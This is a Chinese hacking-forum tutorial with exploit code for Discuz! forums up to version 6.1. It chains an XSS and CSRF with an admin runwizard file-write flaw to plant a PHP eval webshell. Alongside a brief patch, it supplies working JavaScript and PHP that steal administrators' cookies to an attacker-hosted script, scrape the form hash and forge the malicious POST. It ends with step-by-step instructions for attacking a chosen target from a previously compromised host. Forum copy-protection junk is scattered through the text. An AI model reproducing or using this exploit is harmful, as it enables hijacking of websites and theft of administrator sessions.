Discuz XSS得webshell
6 U% ^( d7 X, f K2 W$ @ [" YBy racle @tian6.com
; x: x$ U, P! Y欢迎转帖.但请保留版权信息.
* ~9 c% l' y+ q受影响版本 iscuz<=6.1.0,gbk+utf+big5
Y9 e" k4 G4 K8 k5 P7 w3 O/ S$ S1 I* j
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.# X) c! I% X% B9 L
4 T. N! F0 t3 d- W6 e
4 ~/ ?9 J" e; z# U6 G" q3 y0 {
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=87061 g- X$ h/ x; @5 ~
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
5 N$ y$ A: i' b3 Z
6 p4 p: ?, u! y2 M' L; \, ]分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等.., n5 f" H8 G! T3 o
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
6 _. ?3 g" d0 [ Z. c9 U8 ^
! V5 X* }) O* u3 \0 H. A1 R' H0 _% m# r
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
?% [- L" L2 y4 ^4 z2 G: y
5 k; p) S; k: T/ Z0 ~' h t% w
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
9 s8 [9 G; _, s" j4 ~8 g
, R" B0 V; j0 T/ G# R9 f% g, ^problem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.& j# y& ^* ]. J9 S: D# G7 E
. @9 O B6 i5 X9 B/ G
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
$ Q$ s+ C8 L" U7 k+ |' }: U: l7 ]9 K4 j
$ U$ w; b$ F* w1 [! i下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {7 d" d9 }$ Z7 S# s" e
* u& U7 ]5 D5 ]8 x! m! ]# d: M/ y: e global $runwizardfile, $runwizardhistory;
3 x$ d0 K1 X3 n* e" ]' b5 w3 d9 W
$fp = fopen($runwizardfile, 'w');
/ @/ m7 [7 b S+ ?. \$ `/ C* N
( }8 R2 [5 _3 f3 w& a2 D fwrite($fp, serialize($runwizardhistory));" c7 S! J* d- ]/ \
3 f5 j! ]3 B; x1 T2 Q
fclose($fp);: N: S& {0 Z- H' L/ w; B
2 m* X" M& S4 G4 s
}
5 t; Y t0 o% \, x复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.+ I% Y& h! s* X2 E( j: }
以下是修补的办法:function saverunwizardhistory() {
7 Q1 I' b4 g: {% l6 H% c7 L( ]& a, | [# B9 p* |2 W+ D
global $runwizardfile, $runwizardhistory;( j# v k: E2 r# J! `
( p2 T) z' V% q9 n
$fp = fopen($runwizardfile, 'w');5 m( u7 V9 @2 p- X3 o1 e
9 r& z# p* m- L3 E# a+ T
$s = '<?php exit;?>';
4 \( [0 s% Y; Y6 \; ^6 o1 S" H4 ?' O1 t+ q% B% E$ H5 k
$s .= serialize($runwizardhistory);" [% d) ~3 J$ {
# {5 U/ d3 _" {
fwrite($fp, $s);
. f8 w* @# T) W4 s* i; l. ]+ e
) [% U+ u2 S$ B. \1 s( v fclose($fp);
+ k' N. J+ j$ G2 ^8 G/ p3 u9 Y5 p- u2 X$ i% F. n& R
}4 ?. d' \; z$ L) g- `9 i
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.7 v W/ Y& q+ u0 ?
0 t1 Z5 }% b7 q3 H$ L
7 ^5 I4 L( @1 S0 J% L/ H5 u7 o
, K9 \: X( ?+ Z5 ]----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------4 w* Y' |& u* z7 b/ }
8 Q( e& ?0 T9 P. t' U; `/ {( F6 |6 G% r
以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
/ C9 y# f' m+ y8 \; L+ m- A# [; R" e4 J5 g1 m; l! e/ \0 j
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.0 C9 W' m, U) A$ d6 f' q
% q! }; u4 K7 E5 ]1 p这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
. T' F1 L6 b% b# U- x/ G9 t' I. _; x. @" J3 R. u2 x
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:8 c; E' F" f, S8 Y4 t
0 L3 v4 I8 m! D6 m; v3 i4 z
var url="http://目标网站/admincp.php";
; @. ^6 R: \: _2 D7 o0 @$ ^" q ~8 B0 z: }4 j0 `# z
/*获得cookies*/7 h; x0 W5 a# J% ~& U* h7 q4 @
; M% r+ |1 d3 j+ u$ o' Q' B/ tfunction getURL(s) {
, s2 m' J) ^6 B* E3 M
& B8 k/ H# T! Y0 D" ?var image = new Image();8 `" s* o- n6 \ l0 g
1 r1 I" B2 @: l' A0 P' uimage.style.width = 0;
3 I+ c) `* W$ H) D# n7 o0 A
5 O5 x. p; J' y. f, V+ Vimage.style.height = 0;
( C4 U! Y4 \4 e `% s
7 p6 u7 D* O3 S/ r5 }image.src = s;% A+ U) D2 \0 D" m( C( h5 \
. x2 D* y+ l! M7 I* p. X) U6 F$ ~
}
3 f5 S8 E6 M6 C& ^, T4 O4 j9 f
1 @ O V' ^( igetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php% r! N3 u: P4 O$ C, P& `
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];7 \# K( K3 h' c9 e( C" j; N7 x
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) 
x+ x% T# s5 ]; {% c
a' \4 l% \" J+ @8 @7 Z" n3 ~
* t$ k) x; \/ {. o& f! f获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";0 F! ]; A4 v, ~: @4 y
7 _. F2 J8 r6 i& ?
p; {; O; @( Z& b
+ B' \0 A# F2 Y9 ?0 u' x/*hash*/" S1 W5 M* u: h: Z3 j8 l: v
L/ N4 [' y2 | Q, q0 Pvar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");% l; K- T0 y6 V$ S
/ E+ I/ j) t5 F3 ]4 q l6 r! a' axmlHttpReq.open("GET", url+"admincp.php?action=home", false);
8 n0 ?. c, `' \8 j1 {( e/ R( C2 T! V3 |. }1 z: h( N; U5 P
xmlHttpReq.send();! E5 [" q( S/ ]) Y) v& |4 O
/ H; q4 f- r, h. F, U7 `, F* {
var resource = xmlHttpReq.responseText;6 p# p# p8 W% c9 P: f1 R
5 d' _0 B+ C0 @" `var numero = resource.search(/formhash/);
6 m" ?7 X% r+ m/ G& \/ m+ z A# W% @8 l( J" {1 R- f' e9 f; W
var formhash=encodeURIComponent(resource.substr(numero+17,8));
& p, b3 o" a5 d% I: g5 O/ g; I' E/ W; J
4 Q, B1 `( P; k. b& q
' p& Q7 Q" C+ P" y. l4 R2 N) Bvar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
S; f& v: f& u. L. {4 Q; x7 M/ O& a4 g3 e& I
xmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 ! z& m! s1 O* `4 o+ q4 }
# z" A a9 x. j N v2 ~xmlHttpReq.setRequestHeader("Referer", url);) p. [8 z Y- f8 k& E
3 `0 ? A* v" Y0 d/ W) P: r8 y6 ~xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");6 l! \* |5 I! B" S; Q/ G
9 v( l& m" I/ v6 ixmlHttpReq.setrequestheader("content-length",post.length);
( a2 X* Y$ x1 E" M7 u7 O* p' A: N$ X
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); 2 T" K, e, K7 z- [
& f' a$ y2 ?3 I' N$ R6 e$ U
xmlHttpReq.send(post);//发送数据0 s; D0 G2 H7 x1 C' ~
复制代码这里HASH我假设正确,这样提交,也无须cookies& U. k' Y: r3 I; R- L5 P
( Z# B* x% F6 z2 L
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);- \4 A& z6 U1 H8 n: g1 A
4 M G! d+ [; B, t( Q4 G3 k
if (!$sock) die("$errstr ($errno)\n");
+ }8 `- z; _7 [/ C, g
0 E | c+ _; I8 _* q. F2 e- Z/ {$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';, s6 H: Z {% m6 v' D+ t
$ h8 }. b8 F9 |$ U2 S# z9 y7 L% U+ M
& b( c, P9 J, l' k- ?" U6 yfwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");# r# z5 e/ Z3 H6 f
$ r% `1 v' {3 b- U1 _( v, [# M$ ^fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
- Q2 ]9 ^# I5 X% h3 v) v4 A' G4 r1 E7 g0 X3 P
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
2 I! q1 O; v/ Z8 w9 x$ ]
2 y: X* Y8 F" t8 K dfwrite($sock, "Accept-Language: zh-cn\r\n");' t& w# B# ^. Q% b1 W% I
# F: F; w. J5 U% `" I9 Y
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
|, r) t8 x" K1 K7 Y$ B) b: H# J: n' I6 G2 x' [& N, {
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
4 a* D$ ^% e" s7 W/ G8 C
5 d# v& f( ~3 Sfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");5 c! v) b4 C8 |5 U) m* Y% ^
6 L0 E5 _0 s1 G1 }1 r, x
fwrite($sock, "Host: $url\r\n");
1 Y9 ]+ J# R ^! d% { D5 {) y0 J! ^/ I: G4 z) g. r9 ?9 v# V4 w) {
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
# a* E5 C( ]# b0 G+ Y! w
% |$ Y$ }7 ]# m. K* _* N' i. r9 Ufwrite($sock, "Connection: Keep-Alive\r\n");
6 z; Z7 Q0 Y4 C. r: L( g0 E7 K2 H, E1 i, P. z+ ~
fwrite($sock, "Cache-Control: no-cache\r\n");8 ?' b; W$ e9 ^
- _2 L& M5 d, N/ ^4 g( t
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");" v% F6 i) x8 ?+ e" {
2 [) j0 u% y/ S0 Z' ]. w- r K
fwrite($sock, $data);( w( O2 D: P7 B0 ~9 H3 r$ h5 `
4 o' o9 |) _7 K. t; W2 V, R
& H' M. A8 c0 M: v& @: @) V* m7 H0 J! k/ `6 l1 R% N) X# O6 s
$headers = "";
( A8 B4 k5 K/ w1 [" e7 g0 ?# C! _) ^: }$ }( _ v1 p: i' g6 j+ q
while ($str = trim(fgets($sock, 4096)))$ Z2 ~5 }# q- v! v2 j$ h
$ U3 n0 I7 _0 G) c$ B1 @0 P $headers .= "$str\n";! o$ D7 i4 y4 f0 Z
9 @; q" j: z& Q
echo "\n";
3 x' N& @: a2 G" k8 X b D r
" f5 \5 L' \( O" t& a3 Y' A: f! f, g$body = "";5 W8 L5 {: U/ M& T
$ p! H5 W" B1 _* Mwhile (!feof($sock)). k7 ]: E( R k
. M- F3 M7 e2 h! F: J% D
$body .= fgets($sock, 4096);
! R$ t6 p0 s2 m# }* i& b! A
W7 M3 R! J8 f% `% ?; B7 @8 h; |& e7 F# _fclose($sock);
' a5 i x* M1 `2 X& p
7 l2 M& @ b+ p2 @- M Recho $body;
# ^1 t# m+ C; N1 x复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
' ?4 K- ^ q6 \ d- m9 S: V8 S' A4 x; x* {) Z x$ |
3 E8 ]9 q- m3 m7 D; a-------------------------------------------XSS文件分析分隔线----------------------------------------------------------------------------- b7 [8 D+ l) K+ q. D
; T, W" a- {) Z+ `. G8 j
% |; a P, n3 o7 K
1 HP SOCKET利用方法首先打开racle.js! U; m% N4 y- {9 m0 W/ M& v. k. O
1 J" p7 k* k1 d' o1 J
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home' R8 {. t" g% |7 U
" r3 n' i8 Y0 x% l- \4 v* t
4 c' I5 u! G: G" ^. a( T' y
% P8 t8 }/ W9 ~7 R! ?- p
然后打开racle@tian6.php$ r* w7 V1 w- ^9 L* k" T) O
6 S, B; B7 G+ x& ~, |8 v
$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com
+ y% H* L: e4 M8 W, W0 x5 b8 y3 {# H8 H2 I' v6 {3 [5 K' j
4 v6 D+ J: a/ E) P; f$ k x6 Z6 [4 F, Z1 T2 S
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
+ C' K' g w! j7 o2 a( Z/ d; _: S7 f# @7 D6 C& z
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
4 `6 A# S8 v; n7 A. h6 D/ z
! v9 m$ r! E8 c为- Y/ y4 `# x' a
; M$ v1 ]. o6 |getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
7 g: R/ y6 C( T" t8 t2 _5 t# \复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址. q9 B9 R6 s) ]$ b& O/ G
! _& a, S. f! \( u. G1 c" k2 ?8 m1 G/ J5 W! K0 n
- c0 w. ], U3 i, r1 e- c如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:3 ~* f! \% Y! v5 n& B1 k
. U3 Z# n+ M$ V7 t% E8 @var formhash=encodeURIComponent(resource.substr(numero+17,8));
0 v" F9 H) }+ J2 B
4 d$ A! I2 j8 f; X1 G6 y为
0 O3 f0 o- s- y2 I- q* p7 j2 y
* b; r* D- O7 W4 p% W- e& n' c6 lvar formhash=encodeURIComponent(resource.substr(numero+9,8));* z; j& u. K6 [) _
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.) ^% E0 ]/ Q9 J3 l& D
9 B" T& j/ f6 U; T如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点. m5 S" e. `, M- g6 \
) b; `% O, J' R; ]( J5 D+ ]如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
8 ^* _5 F8 t! e
" b8 d' M) [3 ` i$ F" U% F不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
! Y7 N$ l* c( N* I 8 X8 k' f! C. _* O1 W( t
|